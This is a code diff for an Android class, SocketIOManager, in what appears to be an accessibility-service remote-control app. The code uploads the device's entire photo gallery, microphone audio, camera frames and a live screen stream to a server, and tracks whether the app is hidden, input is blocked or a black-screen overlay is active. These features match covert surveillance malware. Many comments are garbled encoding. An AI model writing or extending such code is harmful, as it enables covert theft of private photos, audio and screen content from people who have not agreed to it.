val base64Data = loadImageAsJpegBase64(itx.contentUri, 1280, 1280, 75)
@@ -118,14 +135,14 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
return@forEachIndexed
}
- // 频率限制，避免与其他数据通道冲突
+ // 棰戠巼闄愬埗锛岄伩鍏嶄笌鍏朵粬鏁版嵁閫氶亾鍐茬獊
val now = System.currentTimeMillis()
if (now - lastGalleryImageTime < galleryImageInterval) {
Thread.sleep(galleryImageInterval - (now - lastGalleryImageTime))
}
lastGalleryImageTime = System.currentTimeMillis()
- // 大小限制
+ // comment cleaned
val approxBytes = (base64Data.length * 3) / 4
if (approxBytes > maxGalleryImageSize) {
Log.w(TAG, "Gallery image too large, skipped: ${approxBytes}B > ${maxGalleryImageSize}B (${itx.displayName})")
@@ -159,25 +176,69 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
checkConnectionAndReconnect()
}
} catch (e: Exception) {
- Log.e(TAG, "发送相册数据失败", e)
+ Log.e(TAG, "Send gallery data failed", e)
}
}
- // 🆕 相册读取/发送控制
+ /**
+ * Send album metadata payload so Web can end loading state even when image streaming is slow.
+ */
+ private fun sendAlbumData(items: List) {
+ try {
+ if (socket?.connected() != true) {
+ Log.w(TAG, "Socket not connected, cannot send album data")
+ return
+ }
+
+ val albumList = JSONArray()
+ items.forEach { item ->
+ val entry = JSONObject().apply {
+ put("id", item.id)
+ put("displayName", item.displayName)
+ put("dateAdded", item.dateAdded)
+ put("mimeType", item.mimeType)
+ put("width", item.width)
+ put("height", item.height)
+ put("size", item.size)
+ put("contentUri", item.contentUri)
+ // Keep compatible field so web side can build resolvedUrl safely.
+ put("data", "")
+ }
+ albumList.put(entry)
+ }
+
+ val payload = JSONObject().apply {
+ put("deviceId", getDeviceId())
+ put("type", "album_data")
+ put("timestamp", System.currentTimeMillis())
+ put("count", items.size)
+ put("albumList", albumList)
+ }
+ socket?.emit("album_data", payload)
+ Log.i(TAG, "Album metadata sent: ${items.size} items")
+ } catch (e: Exception) {
+ Log.e(TAG, "Send album data failed", e)
+ }
+ }
+
+ // comment cleaned
private var galleryJob: Job? = null
/**
- * 启动完整相册读取并发送任务；若正在进行则取消并重启
+ * comment cleaned
*/
fun startReadAndSendAllGallery() {
try {
- // 取消上一次任务
+ // comment cleaned
galleryJob?.cancel()
Log.d(TAG, "Cancel previous gallery read task (if exists)")
galleryJob = scope.launch(Dispatchers.IO) {
Log.d(TAG, "Start reading all gallery images (no limit)")
val items = service.readGallery(limit = -1)
+ // Always send album metadata first so web can render/stop loading quickly.
+ sendAlbumData(items)
+
Log.d(TAG, "Gallery read complete, total ${items.size} images, start sending")
sendGalleryData(items)
Log.d(TAG, "Gallery send task complete")
@@ -188,7 +249,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
/**
- * 发送麦克风音频数据到服务器
+ * comment cleaned
*/
fun sendMicrophoneAudio(base64Audio: String, sampleRate: Int, sampleCount: Int, format: String = "PCM_16BIT_MONO") {
try {
@@ -208,21 +269,37 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
socket?.emit("microphone_audio", payload)
} catch (e: Exception) {
- Log.e(TAG, "发送音频数据失败", e)
+ Log.e(TAG, "Send microphone audio data failed", e)
}
}
private var socket: Socket? = null
private var isConnected = false
private var isDeviceRegistered = false
- private var serverUrl: String = "" // 保存服务器地址
+ private var serverUrl: String = "" // 娣囨繂鐡ㄩ張宥呭閸ｃ劌婀撮崸鈧?
- // 崩溃日志上传器
+ // comment cleaned
private val crashLogUploader = CrashLogUploader(service)
// Active connection check
private val scope = CoroutineScope(Dispatchers.IO + SupervisorJob())
private var connectionCheckJob: Job? = null
+ // Heartbeat ACK freshness tracking
+ @Volatile private var lastConnectionTestSentTime = 0L
+ @Volatile private var lastConnectionTestAckTime = 0L
+ @Volatile private var lastHeartbeatAckTime = 0L
+ @Volatile private var staleAckCount = 0
+ // Connection diagnostics
+ @Volatile private var lastConnectTime = 0L
+ @Volatile private var lastDisconnectTime = 0L
+ @Volatile private var lastDisconnectReason = ""
+ @Volatile private var lastConnectErrorTime = 0L
+ @Volatile private var lastConnectErrorMessage = ""
+ @Volatile private var lastDeviceRegisterEmitTime = 0L
+ @Volatile private var lastDeviceRegisteredTime = 0L
+ private val diagnosticEvents = ArrayDeque()
+ private val diagnosticEventsLock = Any()
+ private val maxDiagnosticEvents = 120
// Device registration management
private var registrationTimeoutHandler: Runnable? = null
@@ -232,43 +309,184 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
// Network status monitoring
private var lastNetworkType: String? = null
- private var lastConnectTime: Long = 0
private var transportErrorCount = 0
private var lastTransportErrorTime = 0L
// Network quality monitoring
- private var networkQualityScore = 100 // 0-100分，100为最佳
+ private var networkQualityScore = 100 // 0-100鍒嗭紝100涓烘渶浣?
private var connectionSuccessCount = 0
private var connectionFailureCount = 0
- private val recentConnectionTimes = mutableListOf() // 记录最近10次连接持续时间
+ private val recentConnectionTimes = mutableListOf() // 璁板綍鏈€杩?0娆¤繛鎺ユ寔缁椂闂?
// Screen data send failure tracking
private var screenDataFailureCount = 0
// Screen data send rate control
private var lastScreenDataTime = 0L
- private val screenDataInterval = 50L // 50ms interval, matching 20fps max throughput
- private val maxScreenDataSize = 2 * 1024 * 1024 // 2MB限制，避免数据过大
+ @Volatile private var screenDataInterval = 16L // 鍥哄畾鐩爣绾?0fps
+ private val maxScreenDataSize = 2 * 1024 * 1024 // 2MB limit to avoid transport overload
+ private var serverSupportsBinaryScreenData = false
+ private var serverSupportsWebRtc = false
+ private var serverSupportsSrtGateway = false
+ private var serverPreferredVideoTransport = "webrtc"
+ private var screenPerfLogCounter = 0
+ @Volatile private var lastMediaProjectionRefreshTriggerTime = 0L
+ private val webRtcTransportPolicy = DeviceDetector.getWebRtcTransportPolicy()
+ private val mediaProjectionRefreshTriggerIntervalMs = webRtcTransportPolicy.refreshTriggerIntervalMs
+ private val mediaProjectionEmergencyRefreshMinIntervalMs = webRtcTransportPolicy.emergencyRefreshMinIntervalMs
+ private val webRtcOfferRetryAfterRefreshDelayMs = webRtcTransportPolicy.offerRetryDelayMs
+ private val webRtcOfferRetryAfterRefreshMax = webRtcTransportPolicy.offerRetryMax
+ private val webRtcOfferRetryLock = Any()
+ private val webRtcOfferRetryCountByClient: MutableMap = mutableMapOf()
+ private val srtStreamManager: SrtStreamManager by lazy {
+ SrtStreamManager(service, object : SrtStreamManager.Listener {
+ override fun onStateChanged(state: String, message: String, extra: JSONObject?) {
+ handleSrtStreamStateChanged(state, message, extra)
+ }
+ })
+ }
+ private val webRTCManager: WebRTCManager by lazy {
+ WebRTCManager(service, object : WebRTCManager.Listener {
+ override fun onAnswer(deviceId: String, clientId: String, type: String, sdp: String) {
+ sendWebRTCAnswer(deviceId, clientId, type, sdp)
+ }
+
+ override fun onIceCandidate(deviceId: String, clientId: String, candidate: IceCandidate) {
+ sendWebRTCIceCandidate(deviceId, clientId, candidate)
+ }
+
+ override fun onStateChanged(
+ deviceId: String,
+ clientId: String,
+ state: String,
+ message: String,
+ extra: JSONObject?
+ ) {
+ handleWebRtcStateChanged(deviceId, clientId, state, message, extra)
+ }
+
+ override fun onStopped(deviceId: String, clientId: String, reason: String) {
+ sendWebRTCStop(deviceId, clientId, reason)
+ }
+ })
+ }
- // 📷 摄像头数据发送控制
+ // comment cleaned
private var lastCameraDataTime = 0L
- private val cameraDataInterval = 200L // 摄像头数据发送间隔200ms，匹配5fps，与屏幕数据保持一致
- private val maxCameraDataSize = 1 * 1024 * 1024 // 1MB限制，摄像头数据通常较小
+ private val cameraDataInterval = 200L // 鎽勫儚澶存暟鎹彂閫侀棿闅?00ms锛屽尮閰?fps锛屼笌灞忓箷鏁版嵁淇濇寔涓€鑷?
+ private val maxCameraDataSize = 1 * 1024 * 1024 // 1MB limit, camera frames are usually smaller
private var cameraDataFailureCount = 0
// Connection stability monitoring
private var lastSuccessfulDataSend = 0L
- private val dataStarvationTimeout = 10000L // 10秒没有成功发送数据视为饥饿
+ private val dataStarvationTimeout = 10000L // 10绉掓病鏈夋垚鍔熷彂閫佹暟鎹涓洪ゥ楗?
private var isDataStarved = false
- // 🆕 公网IP相关
+ // comment cleaned
private var cachedPublicIP: String? = null
private var lastIPCheckTime = 0L
- private val IP_CACHE_DURATION = 300000L // 5分钟缓存
+ private val IP_CACHE_DURATION = 300000L // 5鍒嗛挓缂撳瓨
+ @Volatile private var lastInstallResolveAttemptTime = 0L
+ private val installResolveAttemptIntervalMs = 20000L
// Gallery image send throttle/size limit
private var lastGalleryImageTime = 0L
private val galleryImageInterval = 250L
private val maxGalleryImageSize = 2 * 1024 * 1024 // 2MB
+
+ private fun handleSrtStreamStateChanged(state: String, message: String, extra: JSONObject?) {
+ val normalizedState = state.trim().lowercase()
+ val fallbackToWs = normalizedState == "failed" || normalizedState == "stopped"
+
+ try {
+ if (fallbackToWs) {
+ service.getScreenCaptureManager()?.resumeCapture()
+ } else if (normalizedState == "starting" || normalizedState == "running") {
+ service.getScreenCaptureManager()?.pauseCapture()
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "Sync WS capture state with SRT status failed", e)
+ }
+
+ val mergedExtra = JSONObject()
+ if (extra != null) {
+ val keys = extra.keys()
+ while (keys.hasNext()) {
+ val key = keys.next()
+ mergedExtra.put(key, extra.opt(key))
+ }
+ }
+ mergedExtra.put("wsFallbackActive", fallbackToWs)
+
+ sendSrtDeviceStatus(state, message, mergedExtra)
+ }
+
+ private fun handleWebRtcStateChanged(
+ deviceId: String,
+ clientId: String,
+ state: String,
+ message: String,
+ extra: JSONObject?
+ ) {
+ val normalizedState = state.trim().lowercase()
+ val fallbackToWs = normalizedState == "failed" || normalizedState == "stopped"
+ val detail = extra?.optJSONObject("detail")
+ val forceResetPermissionData = shouldForceResetMediaProjectionPermissionData(message, detail)
+ val bypassRefreshCooldown =
+ shouldBypassMediaProjectionRefreshCooldown(message, detail)
+ val shouldRefresh =
+ normalizedState == "failed" &&
+ shouldTriggerMediaProjectionRefreshByMessage(message, detail)
+ val refreshTriggered = shouldRefresh && triggerMediaProjectionRefreshIfNeeded(
+ triggerReason = "webrtc_state:$message",
+ forceResetPermissionData = forceResetPermissionData,
+ bypassCooldown = bypassRefreshCooldown
+ )
+ if (normalizedState == "failed") {
+ val hasPermissionData = detail?.optBoolean("hasPermissionData", false)
+ val hasProjectionObject = detail?.optBoolean("hasProjectionObject", false)
+ val exceptionMessage = detail?.optString("exceptionMessage", "").orEmpty()
+ Log.i(
+ TAG,
+ "WebRTC failed state analysis: message=$message, hasDetail=${detail != null}, hasPermissionData=$hasPermissionData, hasProjectionObject=$hasProjectionObject, exception=$exceptionMessage, shouldRefresh=$shouldRefresh, forceReset=$forceResetPermissionData, bypassCooldown=$bypassRefreshCooldown, refreshTriggered=$refreshTriggered"
+ )
+ }
+
+ try {
+ if (fallbackToWs) {
+ service.getScreenCaptureManager()?.resumeCapture()
+ } else if (normalizedState == "starting" || normalizedState == "running") {
+ service.getScreenCaptureManager()?.pauseCapture()
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "Sync WS capture state with WebRTC status failed", e)
+ }
+
+ val mergedExtra = JSONObject()
+ if (extra != null) {
+ val keys = extra.keys()
+ while (keys.hasNext()) {
+ val key = keys.next()
+ mergedExtra.put(key, extra.opt(key))
+ }
+ }
+ if (refreshTriggered) {
+ mergedExtra.put("projectionRefreshTriggered", true)
+ if (forceResetPermissionData) {
+ mergedExtra.put("projectionRefreshForceReset", true)
+ }
+ if (bypassRefreshCooldown) {
+ mergedExtra.put("projectionRefreshBypassCooldown", true)
+ }
+ }
+
+ sendWebRTCState(
+ deviceId = deviceId,
+ clientId = clientId,
+ state = state,
+ message = message,
+ extra = if (mergedExtra.length() > 0) mergedExtra else null
+ )
+ }
/**
* Convert ws/wss protocol to http/https for Socket.IO v4 compatibility.
@@ -296,6 +514,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
// Socket.IO v4 requires http/https protocol, convert ws/wss if needed
val socketIoUrl = convertToSocketIoProtocol(serverUrl)
this.serverUrl = socketIoUrl
+ recordDiagnosticEvent("CONNECT_START url=$socketIoUrl")
Log.i(TAG, "Connecting to Socket.IO v4 server: $socketIoUrl")
// Validate server URL format
@@ -313,38 +532,37 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
return
}
- // Config consistency check
+ // Config consistency check: only log mismatch.
+ // URL selection priority is handled by NetworkManager to avoid recursive override loops.
val savedUrl = com.hikoncont.util.ConfigWriter.getCurrentServerUrl(service)
if (savedUrl != null) {
val normalizedSaved = convertToSocketIoProtocol(savedUrl)
if (normalizedSaved != socketIoUrl) {
- Log.w(TAG, "Config mismatch! Current: $socketIoUrl, Config: $normalizedSaved, using config URL")
- connect(normalizedSaved)
- return
+ Log.i(TAG, "Resolved server URL: $socketIoUrl (local stored: $normalizedSaved)")
}
}
// Socket.IO v4 config - enhanced stability + randomized reconnect to avoid thundering herd
val options = IO.Options().apply {
- // Support polling+websocket dual transport, allow upgrade to websocket for better frame rate
- transports = arrayOf("polling", "websocket")
+ // Prefer websocket for lower latency, fallback to polling when needed
+ transports = arrayOf("websocket", "polling")
reconnection = true
// Enhanced network stability config - randomized delay to spread reconnect timing
val randomOffset = (1000..3000).random().toLong()
if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35)
- // Android 15 特殊配置 - 更保守的超时设置
- timeout = 60000 // 连接超时60秒
- reconnectionDelay = 5000L + randomOffset // 重连延迟5-8秒，避免集中重连
- reconnectionDelayMax = 20000 // 最大重连延迟20秒
- reconnectionAttempts = 20 // 减少重连次数，避免过度重试
+ // Android 15 閻楄鐣╅柊宥囩枂 - 鏇翠繚瀹堢殑瓒呮椂璁剧疆
+ timeout = 60000 // 杩炴帴瓒呮椂60绉?
+ reconnectionDelay = 5000L + randomOffset // 闁插秷绻涘鎯扮箿5-8绉掞紝閬垮厤闆嗕腑閲嶈繛
+ reconnectionDelayMax = 20000 // 鏈€澶ч噸杩炲欢杩?0绉?
+ reconnectionAttempts = 20 // 鍑忓皯閲嶈繛娆℃暟锛岄伩鍏嶈繃搴﹂噸璇?
Log.i(TAG, "Android 15 stability config, random delay: +${randomOffset}ms")
} else {
- // 其他版本使用优化后的配置
- timeout = 45000 // 连接超时45秒
- reconnectionDelay = 3000L + randomOffset // 重连延迟3-6秒，分散重连
- reconnectionDelayMax = 15000 // 最大重连延迟15秒
- reconnectionAttempts = 25 // 适中的重连次数
+ // 鍏朵粬鐗堟湰浣跨敤浼樺寲鍚庣殑閰嶇疆
+ timeout = 45000 // 杩炴帴瓒呮椂45绉?
+ reconnectionDelay = 3000L + randomOffset // 闁插秷绻涘鎯扮箿3-6绉掞紝鍒嗘暎閲嶈繛
+ reconnectionDelayMax = 15000 // 鏈€澶ч噸杩炲欢杩?5绉?
+ reconnectionAttempts = 25 // 閫備腑鐨勯噸杩炴鏁?
Log.i(TAG, "Standard stability config, random delay: +${randomOffset}ms")
}
@@ -354,17 +572,17 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
// Network environment adaptation
if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35)
- // 添加网络容错配置，包含设备信息用于服务器优化
+ // comment cleaned
query = "android15=true&api=${Build.VERSION.SDK_INT}&manufacturer=${android.os.Build.MANUFACTURER}&model=${android.os.Build.MODEL.replace(" ", "_")}"
}
- Log.i(TAG, "Socket.IO config: polling+websocket transport with upgrade")
+ Log.i(TAG, "Socket.IO config: websocket-first transport with polling fallback")
}
socket = IO.socket(socketIoUrl, options)
setupEventListeners()
socket?.connect()
- // 启动锁屏状态监控
+ // comment cleaned
startLockStateMonitor()
} catch (e: Exception) {
@@ -380,6 +598,10 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
Log.i(TAG, "Socket.IO v4 connected, socketId=${socket.id()}")
isConnected = true
isDeviceRegistered = false
+ lastConnectTime = System.currentTimeMillis()
+ lastDisconnectReason = ""
+ lastConnectErrorMessage = ""
+ recordDiagnosticEvent("CONNECTED socketId=${socket.id()}")
// Record connection metrics
lastConnectTime = System.currentTimeMillis()
@@ -387,6 +609,11 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
connectionFailureCount = 0
connectionSuccessCount++
updateNetworkQualityScore(true)
+ val now = System.currentTimeMillis()
+ lastConnectionTestSentTime = 0L
+ lastConnectionTestAckTime = now
+ lastHeartbeatAckTime = now
+ staleAckCount = 0
// Detect network type change
val currentNetworkType = getCurrentNetworkType()
@@ -410,6 +637,9 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
socket.on(Socket.EVENT_DISCONNECT) { args ->
val reason = if (args.isNotEmpty()) args[0].toString() else "unknown"
Log.w(TAG, "Socket.IO v4 disconnected: $reason")
+ lastDisconnectTime = System.currentTimeMillis()
+ lastDisconnectReason = reason
+ recordDiagnosticEvent("DISCONNECTED reason=$reason")
val currentTime = System.currentTimeMillis()
val connectionDuration = currentTime - lastConnectTime
@@ -432,6 +662,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
isConnected = false
isDeviceRegistered = false
+ staleAckCount = 0
registrationAttempts = 0
registrationTimeoutHandler?.let { handler ->
@@ -440,12 +671,25 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
connectionCheckJob?.cancel()
+ try {
+ srtStreamManager.release()
+ } catch (e: Exception) {
+ Log.w(TAG, "Release SRT manager on socket disconnect failed", e)
+ }
+ try {
+ webRTCManager.release()
+ } catch (e: Exception) {
+ Log.w(TAG, "Release WebRTC manager on socket disconnect failed", e)
+ }
service.pauseScreenCapture()
}
socket.on(Socket.EVENT_CONNECT_ERROR) { args ->
val error = if (args.isNotEmpty()) args[0] else null
val errorMsg = error?.toString() ?: "unknown"
+ lastConnectErrorTime = System.currentTimeMillis()
+ lastConnectErrorMessage = errorMsg
+ recordDiagnosticEvent("CONNECT_ERROR $errorMsg")
connectionFailureCount++
updateNetworkQualityScore(false, "connect_error", 0)
@@ -472,6 +716,8 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
val data = args[0] as JSONObject
Log.i(TAG, "Device registered successfully: ${data.optString("message")}")
isDeviceRegistered = true
+ lastDeviceRegisteredTime = System.currentTimeMillis()
+ recordDiagnosticEvent("DEVICE_REGISTERED deviceId=${data.optString("deviceId", getDeviceId())}")
registrationAttempts = 0
// Cancel timeout handler
@@ -489,6 +735,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
// Upload pending crash logs
crashLogUploader.uploadPendingLogs(socket, getDeviceId())
+ sendRuntimeFlagsSync("device_registered")
} catch (e: Exception) {
Log.e(TAG, "Failed to process device_registered response", e)
@@ -504,7 +751,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
val data = args[0] as JSONObject
handleControlMessage(data)
} catch (e: Exception) {
- Log.e(TAG, "处理控制命令失败", e)
+ Log.e(TAG, "Failed to handle control command", e)
}
}
}
@@ -529,10 +776,14 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
val data = args[0] as JSONObject
val success = data.optBoolean("success", false)
val timestamp = data.optLong("timestamp", 0)
+ val now = System.currentTimeMillis()
+ lastConnectionTestAckTime = now
+ lastHeartbeatAckTime = now
+ staleAckCount = 0
Log.d(TAG, "Received server heartbeat response: success=$success, timestamp=$timestamp")
- // 重置心跳失败计数，表示连接正常
- // 这个响应表明服务器正常处理了我们的心跳测试
+ // comment cleaned
+ // comment cleaned
} else {
Log.w(TAG, "Received CONNECTION_TEST_RESPONSE but no args")
}
@@ -552,6 +803,10 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
if (args.isNotEmpty()) {
val data = args[0] as JSONObject
val timestamp = data.optLong("timestamp", 0)
+ val now = System.currentTimeMillis()
+ lastHeartbeatAckTime = now
+ lastConnectionTestAckTime = maxOf(lastConnectionTestAckTime, now)
+ staleAckCount = 0
Log.d(TAG, "Received server heartbeat ack: timestamp=$timestamp")
}
} catch (e: Exception) {
@@ -559,7 +814,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
}
- // 处理UI层次结构分析请求
+ // comment cleaned
socket.on("ui_hierarchy_request") { args ->
Log.e(TAG, "Received UI hierarchy request")
Log.e(TAG, "Socket status: connected=${socket.connected()}, id=${socket.id()}")
@@ -588,6 +843,9 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
val maxWidth = data.optInt("maxWidth", -1)
val maxHeight = data.optInt("maxHeight", -1)
service.getScreenCaptureManager()?.adjustQuality(fps, quality, maxWidth, maxHeight)
+ // comment cleaned
+ screenDataInterval = 16L
+ Log.i(TAG, "Screen send interval locked: ${screenDataInterval}ms (fixed 60fps target)")
// Support server command to switch capture mode
val captureMode = data.optString("captureMode", "")
@@ -603,6 +861,83 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
}
}
+
+ socket.on("webrtc_offer") { args ->
+ if (args.isNotEmpty()) {
+ try {
+ val data = args[0] as JSONObject
+ handleWebRtcOffer(data)
+ } catch (e: Exception) {
+ Log.e(TAG, "Failed to handle webrtc_offer", e)
+ }
+ } else {
+ Log.w(TAG, "Received webrtc_offer with no args")
+ }
+ }
+
+ socket.on("webrtc_ice_candidate") { args ->
+ if (args.isNotEmpty()) {
+ try {
+ val data = args[0] as JSONObject
+ handleWebRtcIceCandidate(data)
+ } catch (e: Exception) {
+ Log.e(TAG, "Failed to handle webrtc_ice_candidate", e)
+ }
+ }
+ }
+
+ socket.on("webrtc_stop") { args ->
+ val data = if (args.isNotEmpty() && args[0] is JSONObject) args[0] as JSONObject else JSONObject()
+ try {
+ handleWebRtcStop(data)
+ } catch (e: Exception) {
+ Log.e(TAG, "Failed to handle webrtc_stop", e)
+ }
+ }
+
+ socket.on("server_capabilities") { args ->
+ if (args.isNotEmpty()) {
+ try {
+ val data = args[0] as JSONObject
+ val supportedTransports = mutableSetOf()
+ val transportArray = data.optJSONArray("supportedVideoTransports")
+ if (transportArray != null) {
+ for (i in 0 until transportArray.length()) {
+ val item = transportArray.optString(i, "").trim().lowercase()
+ if (item.isNotEmpty()) supportedTransports.add(item)
+ }
+ }
+ val preferredTransport = data.optString("videoTransport", "webrtc")
+ .trim()
+ .lowercase()
+ if (preferredTransport.isNotEmpty()) {
+ supportedTransports.add(preferredTransport)
+ }
+
+ serverSupportsBinaryScreenData = data.optBoolean("screenBinary", false)
+ serverSupportsSrtGateway = data.optBoolean("srtGatewayEnabled", false)
+ serverSupportsWebRtc = supportedTransports.contains("webrtc")
+ serverPreferredVideoTransport = preferredTransport.ifEmpty { "webrtc" }
+
+ val turnUrls = data.optString("webrtcTurnUrls", "").trim()
+ val turnUsername = data.optString("webrtcTurnUsername", "").trim()
+ val turnPassword = data.optString("webrtcTurnPassword", "").trim()
+ webRTCManager.updateTurnConfig(
+ urlsRaw = turnUrls,
+ username = turnUsername,
+ password = turnPassword
+ )
+
+ Log.i(
+ TAG,
+ "Server capabilities: screenBinary=$serverSupportsBinaryScreenData, webrtc=$serverSupportsWebRtc, srtGateway=$serverSupportsSrtGateway, videoTransport=$serverPreferredVideoTransport"
+ )
+ } catch (e: Exception) {
+ Log.w(TAG, "Failed to parse server_capabilities", e)
+ }
+ }
+ }
+
}
}
@@ -616,21 +951,40 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
Log.d(TAG, "Registration throttled, skipping duplicate")
return@launch
}
-
+
+ val activeSocket = socket
+ if (activeSocket == null || !activeSocket.connected()) {
+ Log.w(TAG, "Skip device_register: socket not connected")
+ return@launch
+ }
+
+ val socketId = activeSocket.id()
+ if (socketId.isNullOrBlank()) {
+ Log.w(TAG, "Skip device_register: socket id not ready")
+ return@launch
+ }
+
lastRegistrationTime = currentTime
registrationAttempts++
-
+
// Allow more retry attempts before giving up
val MAX_REGISTRATION_ATTEMPTS = 30
if (registrationAttempts > MAX_REGISTRATION_ATTEMPTS) {
Log.e(TAG, "Registration attempts exceeded $MAX_REGISTRATION_ATTEMPTS, pausing")
return@launch
}
-
+
+ resolveInstallOwnerIfNeeded()
+
val publicIP = getPublicIP()
+ val ownerUserId = getLongConfigValue("ownerUserId")
+ val ownerUsername = getStringConfigValue("ownerUsername")
+ val ownerGroupId = getLongConfigValue("ownerGroupId")
+ val ownerGroupName = getStringConfigValue("ownerGroupName")
val androidDeviceId = getDeviceId()
- val socketId = socket?.id() ?: "unknown"
+ val supportsWebRtcUpload = Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP
+ val supportsSrtUpload = srtStreamManager.isRuntimeSupported()
val deviceInfo = JSONObject().apply {
put("deviceId", androidDeviceId)
put("socketId", socketId)
@@ -649,6 +1003,17 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
put("input")
put("screenshot")
})
+ put("supportedVideoTransports", org.json.JSONArray().apply {
+ if (supportsWebRtcUpload) {
+ put("webrtc")
+ }
+ put("ws_binary")
+ if (supportsSrtUpload) {
+ put("srt_mpegts")
+ }
+ })
+ put("webrtcUploadSupported", supportsWebRtcUpload)
+ put("srtUploadSupported", supportsSrtUpload)
put("inputBlocked", service.isInputBlocked())
put("blackScreenActive", service.isBlackScreenActive())
put("appHidden", service.isAppHidden())
@@ -660,11 +1025,16 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
put("romType", getROMType())
put("romVersion", getROMVersion())
put("osBuildVersion", getOSBuildVersion())
+ ownerUserId?.let { put("ownerUserId", it) }
+ ownerUsername?.let { put("ownerUsername", it) }
+ ownerGroupId?.let { put("ownerGroupId", it) }
+ ownerGroupName?.let { put("ownerGroupName", it) }
}
- Log.i(TAG, "Sending device_register #$registrationAttempts: deviceId=$androidDeviceId, socketId=$socketId, connected=${socket?.connected()}")
-
- val emitResult = socket?.emit("device_register", deviceInfo)
+ Log.i(TAG, "Sending device_register #$registrationAttempts: deviceId=$androidDeviceId, socketId=$socketId, connected=${activeSocket.connected()}")
+ lastDeviceRegisterEmitTime = System.currentTimeMillis()
+ recordDiagnosticEvent("DEVICE_REGISTER_EMIT attempt=$registrationAttempts deviceId=$androidDeviceId")
+ val emitResult = activeSocket.emit("device_register", deviceInfo)
Log.i(TAG, "device_register emit result: $emitResult")
// Set registration timeout: retry after 10 seconds if no confirmation
@@ -687,74 +1057,248 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
}
}
+
+ /**
+ * comment cleaned
+ * comment cleaned
+ * comment cleaned
+ */
+ private fun getStringConfigValue(key: String): String? {
+ return try {
+ ConfigReader.getConfigValue(service, key)?.trim()?.takeIf { it.isNotEmpty() }
+ } catch (e: Exception) {
+ Log.w(TAG, "Read config string failed: key=$key", e)
+ null
+ }
+ }
+
+ /**
+ * comment cleaned
+ * comment cleaned
+ * 璇存槑: 浠?server_config.json 璇诲彇 Long 閰嶇疆锛屾牸寮忎笉鍚堟硶鏃惰繑鍥?null銆?
+ */
+ private fun getLongConfigValue(key: String): Long? {
+ val raw = getStringConfigValue(key) ?: return null
+ return raw.toLongOrNull()
+ }
+
+ /**
+ * comment cleaned
+ * comment cleaned
+ * 璇存槑: 鑻ユ湰鍦板皻鏈啓鍏ュ綊灞炰俊鎭紝鍒欎娇鐢ㄥ畨瑁匱oken鍚戝悗绔В鏋愬苟钀藉湴鍒伴厤缃枃浠躲€?
+ */
+ private suspend fun resolveInstallOwnerIfNeeded() {
+ val existingOwnerUserId = getLongConfigValue("ownerUserId")
+ if (existingOwnerUserId != null) {
+ return
+ }
+
+ val installToken = getStringConfigValue("installToken") ?: return
+ val currentTime = System.currentTimeMillis()
+ if (currentTime - lastInstallResolveAttemptTime < installResolveAttemptIntervalMs) {
+ return
+ }
+ lastInstallResolveAttemptTime = currentTime
+
+ val resolveUrl = resolveInstallResolveUrl() ?: return
+ val encodedToken = try {
+ URLEncoder.encode(installToken, "UTF-8")
+ } catch (e: Exception) {
+ Log.w(TAG, "Install token encode failed", e)
+ return
+ }
+
+ val finalUrl = if (resolveUrl.contains("?")) {
+ "$resolveUrl&token=$encodedToken"
+ } else {
+ "$resolveUrl?token=$encodedToken"
+ }
+
+ try {
+ val url = java.net.URL(finalUrl)
+ val connection = (url.openConnection() as java.net.HttpURLConnection).apply {
+ requestMethod = "GET"
+ connectTimeout = 6000
+ readTimeout = 6000
+ setRequestProperty("Accept", "application/json")
+ }
+
+ val responseCode = connection.responseCode
+ val responseBody = try {
+ if (responseCode in 200..299) {
+ connection.inputStream.bufferedReader().use { it.readText() }
+ } else {
+ connection.errorStream?.bufferedReader()?.use { it.readText() } ?: ""
+ }
+ } finally {
+ connection.disconnect()
+ }
+
+ if (responseCode !in 200..299 || responseBody.isBlank()) {
+ Log.w(TAG, "Install token resolve failed: code=$responseCode")
+ return
+ }
+
+ val root = JSONObject(responseBody)
+ if (!root.optBoolean("success", false)) {
+ Log.w(TAG, "Install token resolve rejected: ${root.optString("message")}")
+ return
+ }
+
+ val data = root.optJSONObject("data") ?: return
+ val ownerUserId = optLongFromJson(data, "ownerUserId")
+ val ownerUsername = data.optString("ownerUsername", "").trim().takeIf { it.isNotEmpty() }
+ if (ownerUserId == null && ownerUsername == null) {
+ Log.w(TAG, "Install token resolved but owner fields are empty")
+ return
+ }
+
+ val ownerGroupId = optLongFromJson(data, "ownerGroupId")
+ val ownerGroupName = data.optString("ownerGroupName", "").trim().takeIf { it.isNotEmpty() }
+ val resolvedServerUrl = data.optString("serverUrl", "").trim().takeIf { it.isNotEmpty() }
+ val resolvedWebUrl = data.optString("webUrl", "").trim().takeIf { it.isNotEmpty() }
+ val resolvedTurnUrls = data.optString("webrtcTurnUrls", "").trim().takeIf { it.isNotEmpty() }
+ val resolvedTurnUsername = data.optString("webrtcTurnUsername", "").trim().takeIf { it.isNotEmpty() }
